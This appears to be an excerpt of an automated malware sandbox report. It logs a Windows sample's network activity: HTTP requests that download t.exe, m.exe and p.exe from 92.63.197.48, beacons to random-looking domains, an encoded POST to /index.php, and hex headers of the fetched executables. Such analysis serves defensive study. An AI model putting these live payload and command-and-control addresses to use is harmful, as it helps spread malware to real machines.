Source: unknown	TCP traffic detected without corresponding DNS query: 70.159.137.143
Source: unknown	TCP traffic detected without corresponding DNS query: 209.161.102.68
Source: unknown	TCP traffic detected without corresponding DNS query: 164.187.57.216
Source: unknown	TCP traffic detected without corresponding DNS query: 206.95.101.8
Source: unknown	TCP traffic detected without corresponding DNS query: 47.206.134.177
Source: unknown	TCP traffic detected without corresponding DNS query: 209.13.64.156
Source: unknown	TCP traffic detected without corresponding DNS query: 73.106.85.227
Source: unknown	TCP traffic detected without corresponding DNS query: 64.197.198.131
Source: unknown	TCP traffic detected without corresponding DNS query: 60.92.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 102.205.233.176
Source: unknown	TCP traffic detected without corresponding DNS query: 179.9.122.200
Source: unknown	TCP traffic detected without corresponding DNS query: 31.143.153.87
Source: unknown	TCP traffic detected without corresponding DNS query: 181.217.178.184
Source: unknown	TCP traffic detected without corresponding DNS query: 103.234.94.196
Source: unknown	TCP traffic detected without corresponding DNS query: 206.124.175.43
Source: unknown	TCP traffic detected without corresponding DNS query: 136.162.147.66
Source: unknown	TCP traffic detected without corresponding DNS query: 159.67.53.50
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.77.110
Source: unknown	TCP traffic detected without corresponding DNS query: 206.134.175.39
Source: unknown	TCP traffic detected without corresponding DNS query: 50.224.155.109
Source: unknown	TCP traffic detected without corresponding DNS query: 205.105.12.187
Source: unknown	TCP traffic detected without corresponding DNS query: 121.228.140.22
Source: unknown	TCP traffic detected without corresponding DNS query: 131.219.226.240
Source: unknown	TCP traffic detected without corresponding DNS query: 140.207.122.167
Source: unknown	TCP traffic detected without corresponding DNS query: 65.183.241.20
Source: unknown	TCP traffic detected without corresponding DNS query: 124.61.174.27
Source: unknown	TCP traffic detected without corresponding DNS query: 189.96.222.211
Source: unknown	TCP traffic detected without corresponding DNS query: 209.128.204.248
Source: unknown	TCP traffic detected without corresponding DNS query: 124.94.28.194
Source: unknown	TCP traffic detected without corresponding DNS query: 39.63.119.47
Source: unknown	TCP traffic detected without corresponding DNS query: 140.98.14.242
Source: unknown	TCP traffic detected without corresponding DNS query: 32.55.121.23
Source: unknown	TCP traffic detected without corresponding DNS query: 178.52.40.2
Source: unknown	TCP traffic detected without corresponding DNS query: 148.188.202.201
Source: unknown	TCP traffic detected without corresponding DNS query: 49.15.45.130
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.95.35
Source: unknown	TCP traffic detected without corresponding DNS query: 118.60.32.207
Source: unknown	TCP traffic detected without corresponding DNS query: 134.6.87.33
Source: unknown	TCP traffic detected without corresponding DNS query: 41.158.24.64
Source: unknown	TCP traffic detected without corresponding DNS query: 56.83.252.224
Source: unknown	TCP traffic detected without corresponding DNS query: 198.88.89.118
Source: unknown	TCP traffic detected without corresponding DNS query: 182.126.7.55
Source: unknown	TCP traffic detected without corresponding DNS query: 181.243.78.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.240.184.209
Source: unknown	TCP traffic detected without corresponding DNS query: 146.34.67.227
Source: unknown	TCP traffic detected without corresponding DNS query: 60.20.193.230
Source: unknown	TCP traffic detected without corresponding DNS query: 82.141.115.207

Connects to many different domains

Show sources

Source: unknown

Network traffic detected: DNS query count 78

Connects to several IPs in different countries

Show sources

Source: unknown

Network traffic detected: IP country count 31

Downloads executable code via HTTP

Show sources

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:12 GMTContent-Type: application/octet-streamContent-Length: 163328Last-Modified: Tue, 30 Oct 2018 13:06:17 GMTConnection: keep-aliveETag: "5bd85749-27e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 e9 9b 5a 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:12 GMTContent-Type: application/octet-streamContent-Length: 163328Last-Modified: Tue, 30 Oct 2018 13:06:17 GMTConnection: keep-aliveETag: "5bd85749-27e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 e9 9b 5a 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:12 GMTContent-Type: application/octet-streamContent-Length: 1207296Last-Modified: Mon, 29 Oct 2018 19:15:12 GMTConnection: keep-aliveETag: "5bd75c40-126c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bb 8c f8 01 ff ed 96 52 ff ed 96 52 ff ed 96 52 e1 bf 12 52 e2 ed 96 52 e1 bf 03 52 ee ed 96 52 e1 bf 15 52 95 ed 96 52 d8 2b ed 52 fa ed 96 52 ff ed 97 52 89 ed 96 52 54 d5 ad 4b fe ed 96 52 e1 bf 02 52 fe ed 96 52 85 78 aa a8 fe ed 96 52 52 69 63 68 ff ed 96 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 13 fc
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:12 GMTContent-Type: application/octet-streamContent-Length: 1207296Last-Modified: Mon, 29 Oct 2018 19:15:12 GMTConnection: keep-aliveETag: "5bd75c40-126c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bb 8c f8 01 ff ed 96 52 ff ed 96 52 ff ed 96 52 e1 bf 12 52 e2 ed 96 52 e1 bf 03 52 ee ed 96 52 e1 bf 15 52 95 ed 96 52 d8 2b ed 52 fa ed 96 52 ff ed 97 52 89 ed 96 52 54 d5 ad 4b fe ed 96 52 e1 bf 02 52 fe ed 96 52 85 78 aa a8 fe ed 96 52 52 69 63 68 ff ed 96 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 13 fc
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:13 GMTContent-Type: application/octet-streamContent-Length: 204288Last-Modified: Tue, 30 Oct 2018 08:01:46 GMTConnection: keep-aliveETag: "5bd80fea-31e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a6 25 fd 59 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.4.6 (Ubuntu)Date: Tue, 30 Oct 2018 13:45:13 GMTContent-Type: application/octet-streamContent-Length: 204288Last-Modified: Tue, 30 Oct 2018 08:01:46 GMTConnection: keep-aliveETag: "5bd80fea-31e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a6 25 fd 59 00 00 00 00 00 00 0

Uses a known web browser user agent for HTTP communication

Show sources

Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: riifndisojdoj.in
Source: global traffic	HTTP traffic detected: GET /domain/riifndisojdoj.in HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /92faf1775bd83fdf3a3b1380bb93130b HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=8fd16088d64210ecf9e7e8ce32ef8050\|185.32.222.104\|1540907081\|1540907081\|0\|1\|0Connection: Keep-AliveHost: xsso.riifndisojdoj.in
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: ouegouehouseh.net
Source: global traffic	HTTP traffic detected: GET /domain/ouegouehouseh.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /575e0240c0d4df5892064317c147a97e HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=6292482f28997a1065c10ef6bbc48f62\|185.32.222.104\|1540907086\|1540907086\|0\|1\|0Connection: Keep-AliveHost: xsso.ouegouehouseh.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: riifndisojdoj.net
Source: global traffic	HTTP traffic detected: GET /domain/riifndisojdoj.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2d6f5f8786b3305ca267ce6dbf60eca4 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=67723d895fda4e64255e9cef0a05b76c\|185.32.222.104\|1540907087\|1540907087\|0\|1\|0Connection: Keep-AliveHost: xsso.riifndisojdoj.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: udunfjgussiid.net
Source: global traffic	HTTP traffic detected: GET /domain/udunfjgussiid.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /23fbb3b1712c0a08e405ce8c9a1ed39d HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=4fcca118eeb650ec3780037649e6b221\|185.32.222.104\|1540907089\|1540907089\|0\|1\|0Connection: Keep-AliveHost: xsso.udunfjgussiid.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: udunfjgussiid.com
Source: global traffic	HTTP traffic detected: GET /domain/udunfjgussiid.com HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cbec3c80bef3cfa0da44de66ebecfeaf HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=f6e869a1bef4d08e4430d92714bc2711\|185.32.222.104\|1540907095\|1540907095\|0\|1\|0Connection: Keep-AliveHost: xsso.udunfjgussiid.com
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: iriototooeuwo.biz
Source: global traffic	HTTP traffic detected: GET /domain/iriototooeuwo.biz HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /28795e09a02dba8a0eed7077c02eadc6 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=ee88da31fd316b2b05ced404aa59066f\|185.32.222.104\|1540907103\|1540907103\|0\|1\|0Connection: Keep-AliveHost: xsso.iriototooeuwo.biz
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: ugoheoheufefu.info
Source: global traffic	HTTP traffic detected: GET /domain/ugoheoheufefu.info HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4718bb30fd56711dfeae398545aa0e29 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=e0d8b47f1aa0201c729a3eabfab6dcf5\|185.32.222.104\|1540907105\|1540907105\|0\|1\|0Connection: Keep-AliveHost: xsso.ugoheoheufefu.info
Source: global traffic	HTTP traffic detected: GET /t.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /t.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /m.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /m.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 92.63.197.48Content-Length: 103Cache-Control: no-cacheData Raw: 4a 2f fb 3d 2f fb 3e 2f fb 3d 4b 8c 4f 48 ed 3f 4e ed 3e 3d ed 3e 39 ed 3e 3e ed 3e 39 89 28 39 fa 48 49 ed 3f 4e ed 3e 3c ed 3e 3a ed 3e 3a ed 3e 3d ed 3e 38 8e 48 4c ed 3f 4e ed 3e 32 ed 3e 3e ed 3e 32 8a 49 2f fb 3f 2f fb 34 2f fb 39 2f fa 49 2f fb 3d 4f ed 3e 32 ed 3e 38 ed 3e 39 ed 3e 33 8e 4f 2f fb 35 Data Ascii: J/=/>/=KOH?N>=>9>>>9(9HI?N><>:>:>=>8HL?N>2>>>2I/?/4/9/I/=O>2>8>9>3O/5

Contains functionality to download additional files from the internet

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Code function: 1_2_004016C7 recv,

1_2_004016C7

Downloads files

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\1OVLGURI\t[1].htm

Jump to behavior

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: riifndisojdoj.in
Source: global traffic	HTTP traffic detected: GET /domain/riifndisojdoj.in HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /92faf1775bd83fdf3a3b1380bb93130b HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=8fd16088d64210ecf9e7e8ce32ef8050\|185.32.222.104\|1540907081\|1540907081\|0\|1\|0Connection: Keep-AliveHost: xsso.riifndisojdoj.in
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: ouegouehouseh.net
Source: global traffic	HTTP traffic detected: GET /domain/ouegouehouseh.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /575e0240c0d4df5892064317c147a97e HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=6292482f28997a1065c10ef6bbc48f62\|185.32.222.104\|1540907086\|1540907086\|0\|1\|0Connection: Keep-AliveHost: xsso.ouegouehouseh.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: riifndisojdoj.net
Source: global traffic	HTTP traffic detected: GET /domain/riifndisojdoj.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2d6f5f8786b3305ca267ce6dbf60eca4 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=67723d895fda4e64255e9cef0a05b76c\|185.32.222.104\|1540907087\|1540907087\|0\|1\|0Connection: Keep-AliveHost: xsso.riifndisojdoj.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: udunfjgussiid.net
Source: global traffic	HTTP traffic detected: GET /domain/udunfjgussiid.net HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /23fbb3b1712c0a08e405ce8c9a1ed39d HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=4fcca118eeb650ec3780037649e6b221\|185.32.222.104\|1540907089\|1540907089\|0\|1\|0Connection: Keep-AliveHost: xsso.udunfjgussiid.net
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: udunfjgussiid.com
Source: global traffic	HTTP traffic detected: GET /domain/udunfjgussiid.com HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cbec3c80bef3cfa0da44de66ebecfeaf HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=f6e869a1bef4d08e4430d92714bc2711\|185.32.222.104\|1540907095\|1540907095\|0\|1\|0Connection: Keep-AliveHost: xsso.udunfjgussiid.com
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: iriototooeuwo.biz
Source: global traffic	HTTP traffic detected: GET /domain/iriototooeuwo.biz HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /28795e09a02dba8a0eed7077c02eadc6 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=ee88da31fd316b2b05ced404aa59066f\|185.32.222.104\|1540907103\|1540907103\|0\|1\|0Connection: Keep-AliveHost: xsso.iriototooeuwo.biz
Source: global traffic	HTTP traffic detected: GET /t.php?new=1 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: ugoheoheufefu.info
Source: global traffic	HTTP traffic detected: GET /domain/ugoheoheufefu.info HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: sso.anbtr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4718bb30fd56711dfeae398545aa0e29 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Cookie: btst=e0d8b47f1aa0201c729a3eabfab6dcf5\|185.32.222.104\|1540907105\|1540907105\|0\|1\|0Connection: Keep-AliveHost: xsso.ugoheoheufefu.info
Source: global traffic	HTTP traffic detected: GET /t.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /t.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /m.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /m.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48
Source: global traffic	HTTP traffic detected: GET /p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0Host: 92.63.197.48

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: iugouehoeohfh.ru

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)Host: 92.63.197.48Content-Length: 103Cache-Control: no-cacheData Raw: 4a 2f fb 3d 2f fb 3e 2f fb 3d 4b 8c 4f 48 ed 3f 4e ed 3e 3d ed 3e 39 ed 3e 3e ed 3e 39 89 28 39 fa 48 49 ed 3f 4e ed 3e 3c ed 3e 3a ed 3e 3a ed 3e 3d ed 3e 38 8e 48 4c ed 3f 4e ed 3e 32 ed 3e 3e ed 3e 32 8a 49 2f fb 3f 2f fb 34 2f fb 39 2f fa 49 2f fb 3d 4f ed 3e 32 ed 3e 38 ed 3e 39 ed 3e 33 8e 4f 2f fb 35 Data Ascii: J/=/>/=KOH?N>=>9>>>9(9HI?N><>:>:>=>8HL?N>2>>>2I/?/4/9/I/=O>2>8>9>3O/5

Urls found in memory or binary data

Show sources

Source: 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	String found in binary or memory: http://92.63.197.112/
